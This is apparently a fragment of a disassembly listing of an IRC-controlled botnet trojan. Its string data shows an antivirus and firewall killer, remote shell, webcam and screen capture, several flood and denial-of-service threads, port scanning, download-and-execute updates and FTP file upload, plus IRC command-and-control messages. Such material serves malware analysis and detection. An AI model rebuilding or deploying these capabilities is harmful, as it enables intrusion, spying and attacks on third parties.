aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
; sub_41A19D+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd 0
dd offset dword_43D128
dd offset aAdministrato_0 ; "administrator"
align 10h
dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr
; sub_401ACD+B27r ...
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co
; ___:00429228o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o
dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 10h
unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
; sub_415A2F+7Eo
dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_40F6B3+EAo ...
unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
align 4
unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E62o
align 4
unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E12o
; sub_401ACD+7E79o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFBo
align 4
asc_429548: ; DATA XREF: sub_401ACD+7DCBo
unicode 0, <~>,0
unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 10h
unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Ao
dd 2E732520h, 0
unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+7884o
dd 27732527h, 2Eh
unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7785o
dd 0
unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+76E5o
dd 2Eh
dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_40913Fo
dd 746E6573h, 2Eh
unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+762Fo
dd 732520h
unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_429998: ; DATA XREF: sub_401ACD+75F8o
; sub_40F6B3+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 10h
unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o
align 4
unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 10h
unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o
align 4
unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 10h
unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo
align 10h
dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401ACD+7318o
dd 2E732520h, 0
unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Eo
dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
; sub_401ACD+7C47o
unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo
align 4
dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+7073o
dd 25203A29h, 73h
dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7004o
dd 203A2973h, 7325h
dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o
dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F79o
dd 203A2973h, 7325h
dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo
; sub_401ACD+6F57o ...
dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o
dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401ACD+6C3Do
dd 7325h
dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o
; sub_401ACD+6C14o ...
dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o
align 4
dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6980o
dd 7325203Ah, 0
unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo
; sub_401ACD:loc_409366o
unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o
align 4
dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o
; sub_401ACD+715Ao
unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o
; sub_401ACD+607Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 10h
unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o
; ___:00411C61o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o
align 4
unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao
align 4
unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
